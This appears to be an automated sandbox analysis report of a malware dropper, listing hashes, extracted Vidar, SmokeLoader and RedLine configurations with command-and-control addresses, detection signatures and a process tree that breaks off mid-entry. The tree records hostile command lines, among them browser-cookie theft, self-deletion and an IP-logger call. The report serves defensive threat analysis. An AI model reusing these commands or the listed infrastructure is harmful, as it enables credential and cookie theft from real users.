Resubmissions

13-08-2021 10:16

210813-wpta271jdx 10

08-08-2021 23:00

210808-fgs5g9pxfs 10

07-08-2021 23:12

210807-g2jw1lmd4a 10

07-08-2021 16:10

210807-51nhct4kfx 10

06-08-2021 23:43

210806-gc2271nxwj 10

06-08-2021 06:00

210806-f443x39x8a 10

05-08-2021 17:08

210805-97y6banvvx 10

04-08-2021 17:25

210804-hkxx2ntr8x 10

04-08-2021 12:12

210804-rjbg4b4y7n 10

03-08-2021 17:12

210803-r2h7ytjwqj 10

Analysis

  • max time kernel
    13s
  • max time network
    311s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    20-07-2021 11:48

General

  • Target

    8 (19).exe

  • Size

    3.0MB

  • MD5

    bb072cad921aa5ce8b97706ce01bc570

  • SHA1

    18bf034906c1341b7817e7361ad27a4425d820bd

  • SHA256

    817a50d00909383bbef41e6f4e61b527d55f0873bcf745b29dbba75f52fe2e97

  • SHA512

    d40e5f77d882ed29bd9de5a6848072e2f81cd02176955e2b1a4aedcdf4eb687d77bebe33cef0c7d702bc828181755f86e2564523d476adbb785f396a5ce1d474

Malware Config

Extracted

Family

vidar

Version

39.6

Botnet

933

C2

https://sslamlssa1.tumblr.com/

Attributes
  • profile_id

    933

Extracted

Family

smokeloader

Version

2020

C2

http://conceitosseg.com/upload/

http://integrasidata.com/upload/

http://ozentekstil.com/upload/

http://finbelportal.com/upload/

http://telanganadigital.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

AniNEW

C2

akedauiver.xyz:80

Extracted

Family

redline

Botnet

sel16

C2

dwarimlari.xyz:80

Extracted

Family

redline

Botnet

sel17

C2

dwarimlari.xyz:80

Extracted

Family

vidar

Version

39.6

Botnet

903

C2

https://sslamlssa1.tumblr.com/

Attributes
  • profile_id

    903

Extracted

Family

vidar

Version

39.7

Botnet

921

C2

https://shpak125.tumblr.com/

Attributes
  • profile_id

    921

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 8 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • redlinestealer 6 IoCs

    RedlineStealer.

  • Vidar Stealer 6 IoCs
  • ASPack v2.12-2.42 9 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 20 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 20 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 33 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 4 IoCs
  • Kills process with taskkill 15 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 8 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs ping.exe 1 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
      PID:2720
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2708
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2608
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2400
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
            PID:2380
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1924
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1448
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1340
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1180
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1128
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                        PID:512
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                        1⤵
                          PID:356
                        • C:\Users\Admin\AppData\Local\Temp\8 (19).exe
                          "C:\Users\Admin\AppData\Local\Temp\8 (19).exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4536
                          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:5004
                            • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\setup_install.exe
                              "C:\Users\Admin\AppData\Local\Temp\7zSC8339264\setup_install.exe"
                              3⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of WriteProcessMemory
                              PID:3248
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_1.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3196
                                • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_1.exe
                                  sonia_1.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:3972
                                  • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_1.exe
                                    "C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_1.exe" -a
                                    6⤵
                                    • Executes dropped EXE
                                    PID:4284
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_2.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3424
                                • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_2.exe
                                  sonia_2.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks SCSI registry key(s)
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious behavior: MapViewOfSection
                                  PID:4240
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c sonia_3.exe
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1800
                                • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_3.exe
                                  sonia_3.exe
                                  5⤵
                                  • Executes dropped EXE
                                  PID:4216
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /im sonia_3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_3.exe" & del C:\ProgramData\*.dll & exit
                                    6⤵
                                      PID:5772
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /im sonia_3.exe /f
                                        7⤵
                                        • Kills process with taskkill
                                        PID:4620
                                      • C:\Windows\SysWOW64\timeout.exe
                                        timeout /t 6
                                        7⤵
                                        • Delays execution with timeout.exe
                                        PID:3424
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c sonia_4.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4188
                                  • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_4.exe
                                    sonia_4.exe
                                    5⤵
                                      PID:3152
                                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:1956
                                        • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                          "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:1348
                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                            8⤵
                                            • Executes dropped EXE
                                            PID:1536
                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                            8⤵
                                              PID:4292
                                          • C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                                            "C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            PID:4728
                                            • C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                                              C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                                              8⤵
                                                PID:908
                                            • C:\Users\Admin\AppData\Local\Temp\setup 326.exe
                                              "C:\Users\Admin\AppData\Local\Temp\setup 326.exe"
                                              7⤵
                                              • Executes dropped EXE
                                              • Drops file in Windows directory
                                              PID:4996
                                              • C:\Windows\winnetdriv.exe
                                                "C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626782049 0
                                                8⤵
                                                • Executes dropped EXE
                                                PID:1044
                                            • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                              "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                              7⤵
                                              • Executes dropped EXE
                                              PID:3212
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 840
                                                8⤵
                                                • Program crash
                                                PID:2868
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 860
                                                8⤵
                                                • Program crash
                                                PID:2156
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 804
                                                8⤵
                                                • Program crash
                                                PID:3784
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1008
                                                8⤵
                                                • Program crash
                                                PID:2844
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1084
                                                8⤵
                                                • Program crash
                                                PID:4600
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1140
                                                8⤵
                                                • Program crash
                                                PID:2396
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3212 -s 1152
                                                8⤵
                                                • Program crash
                                                PID:1996
                                            • C:\Users\Admin\AppData\Local\Temp\zhangd.exe
                                              "C:\Users\Admin\AppData\Local\Temp\zhangd.exe"
                                              7⤵
                                              • Executes dropped EXE
                                              PID:4012
                                              • C:\Users\Admin\AppData\Local\Temp\zhangd.exe
                                                "C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a
                                                8⤵
                                                  PID:1864
                                                  • C:\Windows\System32\Conhost.exe
                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    9⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:3152
                                              • C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe
                                                "C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:4032
                                                • C:\Windows\system32\WerFault.exe
                                                  C:\Windows\system32\WerFault.exe -u -p 4032 -s 1004
                                                  8⤵
                                                  • Program crash
                                                  PID:1424
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c sonia_5.exe
                                          4⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:4172
                                          • C:\Users\Admin\AppData\Local\Temp\7zSC8339264\sonia_5.exe
                                            sonia_5.exe
                                            5⤵
                                            • Executes dropped EXE
                                            PID:2744
                                            • C:\Users\Admin\Documents\RyW1D06V5ngkfkSVYbRfe6bW.exe
                                              "C:\Users\Admin\Documents\RyW1D06V5ngkfkSVYbRfe6bW.exe"
                                              6⤵
                                                PID:2704
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
                                                  7⤵
                                                    PID:3164
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd
                                                      8⤵
                                                        PID:860
                                                        • C:\Windows\SysWOW64\findstr.exe
                                                          findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
                                                          9⤵
                                                            PID:4284
                                                          • C:\Windows\SysWOW64\PING.EXE
                                                            ping 127.0.0.1 -n 30
                                                            9⤵
                                                            • Runs ping.exe
                                                            PID:3984
                                                          • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
                                                            Acre.exe.com k
                                                            9⤵
                                                              PID:2660
                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
                                                                C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
                                                                10⤵
                                                                  PID:5496
                                                                  • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
                                                                    C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
                                                                    11⤵
                                                                      PID:5988
                                                          • C:\Users\Admin\Documents\BFYaC2iyrkscAk1SRDwJYyNK.exe
                                                            "C:\Users\Admin\Documents\BFYaC2iyrkscAk1SRDwJYyNK.exe"
                                                            6⤵
                                                              PID:1356
                                                              • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                C:\Users\Admin\AppData\Roaming\1234.exe 1234
                                                                7⤵
                                                                  PID:5416
                                                                  • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                    "{path}"
                                                                    8⤵
                                                                      PID:6440
                                                                • C:\Users\Admin\Documents\9x9_5NZBa5BKHsZMAdxtwvpS.exe
                                                                  "C:\Users\Admin\Documents\9x9_5NZBa5BKHsZMAdxtwvpS.exe"
                                                                  6⤵
                                                                    PID:3400
                                                                    • C:\Users\Admin\Documents\9x9_5NZBa5BKHsZMAdxtwvpS.exe
                                                                      C:\Users\Admin\Documents\9x9_5NZBa5BKHsZMAdxtwvpS.exe
                                                                      7⤵
                                                                        PID:1972
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im 9x9_5NZBa5BKHsZMAdxtwvpS.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\9x9_5NZBa5BKHsZMAdxtwvpS.exe" & del C:\ProgramData\*.dll & exit
                                                                          8⤵
                                                                            PID:1860
                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                              taskkill /im 9x9_5NZBa5BKHsZMAdxtwvpS.exe /f
                                                                              9⤵
                                                                              • Kills process with taskkill
                                                                              PID:5736
                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                              timeout /t 6
                                                                              9⤵
                                                                              • Delays execution with timeout.exe
                                                                              PID:6988
                                                                      • C:\Users\Admin\Documents\L0hpwWEAhUA4DFDAu50Zsu2X.exe
                                                                        "C:\Users\Admin\Documents\L0hpwWEAhUA4DFDAu50Zsu2X.exe"
                                                                        6⤵
                                                                          PID:3772
                                                                        • C:\Users\Admin\Documents\yJEDVjy_mqyXiDFgDVuVMtcP.exe
                                                                          "C:\Users\Admin\Documents\yJEDVjy_mqyXiDFgDVuVMtcP.exe"
                                                                          6⤵
                                                                            PID:1880
                                                                            • C:\Users\Admin\Documents\yJEDVjy_mqyXiDFgDVuVMtcP.exe
                                                                              C:\Users\Admin\Documents\yJEDVjy_mqyXiDFgDVuVMtcP.exe
                                                                              7⤵
                                                                                PID:768
                                                                            • C:\Users\Admin\Documents\9h6yrZpUXMAlY85hmQbON1Yw.exe
                                                                              "C:\Users\Admin\Documents\9h6yrZpUXMAlY85hmQbON1Yw.exe"
                                                                              6⤵
                                                                                PID:1124
                                                                                • C:\Users\Admin\Documents\9h6yrZpUXMAlY85hmQbON1Yw.exe
                                                                                  C:\Users\Admin\Documents\9h6yrZpUXMAlY85hmQbON1Yw.exe
                                                                                  7⤵
                                                                                    PID:4512
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im 9h6yrZpUXMAlY85hmQbON1Yw.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\9h6yrZpUXMAlY85hmQbON1Yw.exe" & del C:\ProgramData\*.dll & exit
                                                                                      8⤵
                                                                                        PID:5588
                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                          taskkill /im 9h6yrZpUXMAlY85hmQbON1Yw.exe /f
                                                                                          9⤵
                                                                                          • Kills process with taskkill
                                                                                          PID:6224
                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                          timeout /t 6
                                                                                          9⤵
                                                                                          • Delays execution with timeout.exe
                                                                                          PID:2332
                                                                                  • C:\Users\Admin\Documents\l8taTAG00Z_sNTSyJ9PM8gWU.exe
                                                                                    "C:\Users\Admin\Documents\l8taTAG00Z_sNTSyJ9PM8gWU.exe"
                                                                                    6⤵
                                                                                      PID:1004
                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                        7⤵
                                                                                          PID:4620
                                                                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                          7⤵
                                                                                            PID:3404
                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                            7⤵
                                                                                              PID:5412
                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                              7⤵
                                                                                                PID:4652
                                                                                            • C:\Users\Admin\Documents\HL31kQy_HgeOgQuf7JesMpp6.exe
                                                                                              "C:\Users\Admin\Documents\HL31kQy_HgeOgQuf7JesMpp6.exe"
                                                                                              6⤵
                                                                                                PID:4244
                                                                                                • C:\Users\Admin\Documents\HL31kQy_HgeOgQuf7JesMpp6.exe
                                                                                                  C:\Users\Admin\Documents\HL31kQy_HgeOgQuf7JesMpp6.exe
                                                                                                  7⤵
                                                                                                    PID:1628
                                                                                                • C:\Users\Admin\Documents\vaS3T2yc8C292Z43sLSuy16c.exe
                                                                                                  "C:\Users\Admin\Documents\vaS3T2yc8C292Z43sLSuy16c.exe"
                                                                                                  6⤵
                                                                                                    PID:5112
                                                                                                    • C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe
                                                                                                      "C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"
                                                                                                      7⤵
                                                                                                        PID:4608
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "
                                                                                                        7⤵
                                                                                                          PID:4896
                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                            explorer https://iplogger.org/2LBCU6
                                                                                                            8⤵
                                                                                                              PID:2180
                                                                                                            • C:\Windows\SysWOW64\regedit.exe
                                                                                                              regedit /s adj.reg
                                                                                                              8⤵
                                                                                                              • Runs .reg file with regedit
                                                                                                              PID:1068
                                                                                                            • C:\Windows\SysWOW64\regedit.exe
                                                                                                              regedit /s adj2.reg
                                                                                                              8⤵
                                                                                                              • Runs .reg file with regedit
                                                                                                              PID:4564
                                                                                                        • C:\Users\Admin\Documents\Nbf9jy7zw6qHkbZyp2HjCN4x.exe
                                                                                                          "C:\Users\Admin\Documents\Nbf9jy7zw6qHkbZyp2HjCN4x.exe"
                                                                                                          6⤵
                                                                                                            PID:4932
                                                                                                            • C:\Users\Admin\Documents\Nbf9jy7zw6qHkbZyp2HjCN4x.exe
                                                                                                              C:\Users\Admin\Documents\Nbf9jy7zw6qHkbZyp2HjCN4x.exe
                                                                                                              7⤵
                                                                                                                PID:2064
                                                                                                            • C:\Users\Admin\Documents\jGFr4pado7drugbkZVYozb3b.exe
                                                                                                              "C:\Users\Admin\Documents\jGFr4pado7drugbkZVYozb3b.exe"
                                                                                                              6⤵
                                                                                                                PID:4632
                                                                                                                • C:\Users\Admin\Documents\jGFr4pado7drugbkZVYozb3b.exe
                                                                                                                  "C:\Users\Admin\Documents\jGFr4pado7drugbkZVYozb3b.exe" -a
                                                                                                                  7⤵
                                                                                                                    PID:5432
                                                                                                                • C:\Users\Admin\Documents\hjCOteM5ySNxukjrNz3JkYrB.exe
                                                                                                                  "C:\Users\Admin\Documents\hjCOteM5ySNxukjrNz3JkYrB.exe"
                                                                                                                  6⤵
                                                                                                                    PID:1976
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 3768
                                                                                                                      7⤵
                                                                                                                      • Program crash
                                                                                                                      PID:9360
                                                                                                                  • C:\Users\Admin\Documents\23iqAZW6RRSmdJlj4j34hV5s.exe
                                                                                                                    "C:\Users\Admin\Documents\23iqAZW6RRSmdJlj4j34hV5s.exe"
                                                                                                                    6⤵
                                                                                                                      PID:4564
                                                                                                                      • C:\Users\Admin\Documents\23iqAZW6RRSmdJlj4j34hV5s.exe
                                                                                                                        C:\Users\Admin\Documents\23iqAZW6RRSmdJlj4j34hV5s.exe
                                                                                                                        7⤵
                                                                                                                          PID:2656
                                                                                                                        • C:\Users\Admin\Documents\23iqAZW6RRSmdJlj4j34hV5s.exe
                                                                                                                          C:\Users\Admin\Documents\23iqAZW6RRSmdJlj4j34hV5s.exe
                                                                                                                          7⤵
                                                                                                                            PID:1204
                                                                                                                        • C:\Users\Admin\Documents\miw4QcQZloYfNGhdexSVh_fI.exe
                                                                                                                          "C:\Users\Admin\Documents\miw4QcQZloYfNGhdexSVh_fI.exe"
                                                                                                                          6⤵
                                                                                                                            PID:3888
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 660
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:5568
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 676
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:5864
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 736
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:1084
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 820
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:5472
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 984
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:4652
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 1088
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:3880
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 1192
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:5076
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 1256
                                                                                                                              7⤵
                                                                                                                              • Program crash
                                                                                                                              PID:5440
                                                                                                                          • C:\Users\Admin\Documents\0_fKVCKbgtmvoDCIZ1OW4eez.exe
                                                                                                                            "C:\Users\Admin\Documents\0_fKVCKbgtmvoDCIZ1OW4eez.exe"
                                                                                                                            6⤵
                                                                                                                              PID:4568
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im 0_fKVCKbgtmvoDCIZ1OW4eez.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\0_fKVCKbgtmvoDCIZ1OW4eez.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                7⤵
                                                                                                                                  PID:4676
                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                    taskkill /im 0_fKVCKbgtmvoDCIZ1OW4eez.exe /f
                                                                                                                                    8⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:5068
                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                    timeout /t 6
                                                                                                                                    8⤵
                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                    PID:5076
                                                                                                                              • C:\Users\Admin\Documents\ztIAyMSm5hfugl4cFxekHlIg.exe
                                                                                                                                "C:\Users\Admin\Documents\ztIAyMSm5hfugl4cFxekHlIg.exe"
                                                                                                                                6⤵
                                                                                                                                  PID:4584
                                                                                                                                  • C:\Users\Admin\Documents\ztIAyMSm5hfugl4cFxekHlIg.exe
                                                                                                                                    C:\Users\Admin\Documents\ztIAyMSm5hfugl4cFxekHlIg.exe
                                                                                                                                    7⤵
                                                                                                                                      PID:864
                                                                                                                                  • C:\Users\Admin\Documents\lTwbJ7QoxtDD4FPiQQII17DR.exe
                                                                                                                                    "C:\Users\Admin\Documents\lTwbJ7QoxtDD4FPiQQII17DR.exe"
                                                                                                                                    6⤵
                                                                                                                                      PID:4772
                                                                                                                                      • C:\Users\Admin\Documents\lTwbJ7QoxtDD4FPiQQII17DR.exe
                                                                                                                                        "C:\Users\Admin\Documents\lTwbJ7QoxtDD4FPiQQII17DR.exe"
                                                                                                                                        7⤵
                                                                                                                                          PID:5624
                                                                                                                                      • C:\Users\Admin\Documents\9kZW_eFG73i7HlwWIy5amPOA.exe
                                                                                                                                        "C:\Users\Admin\Documents\9kZW_eFG73i7HlwWIy5amPOA.exe"
                                                                                                                                        6⤵
                                                                                                                                          PID:4696
                                                                                                                                        • C:\Users\Admin\Documents\Ecw5qNfgheY_c9XAoq2z9EQJ.exe
                                                                                                                                          "C:\Users\Admin\Documents\Ecw5qNfgheY_c9XAoq2z9EQJ.exe"
                                                                                                                                          6⤵
                                                                                                                                            PID:4708
                                                                                                                                          • C:\Users\Admin\Documents\pRFT9hConurzp4l8E0KYbyne.exe
                                                                                                                                            "C:\Users\Admin\Documents\pRFT9hConurzp4l8E0KYbyne.exe"
                                                                                                                                            6⤵
                                                                                                                                              PID:5072
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                7⤵
                                                                                                                                                  PID:5644
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC06B5D46\setup_install.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSC06B5D46\setup_install.exe"
                                                                                                                                                    8⤵
                                                                                                                                                      PID:6136
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c karotima_2.exe
                                                                                                                                                        9⤵
                                                                                                                                                          PID:5420
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC06B5D46\karotima_2.exe
                                                                                                                                                            karotima_2.exe
                                                                                                                                                            10⤵
                                                                                                                                                              PID:5072
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC06B5D46\karotima_2.exe
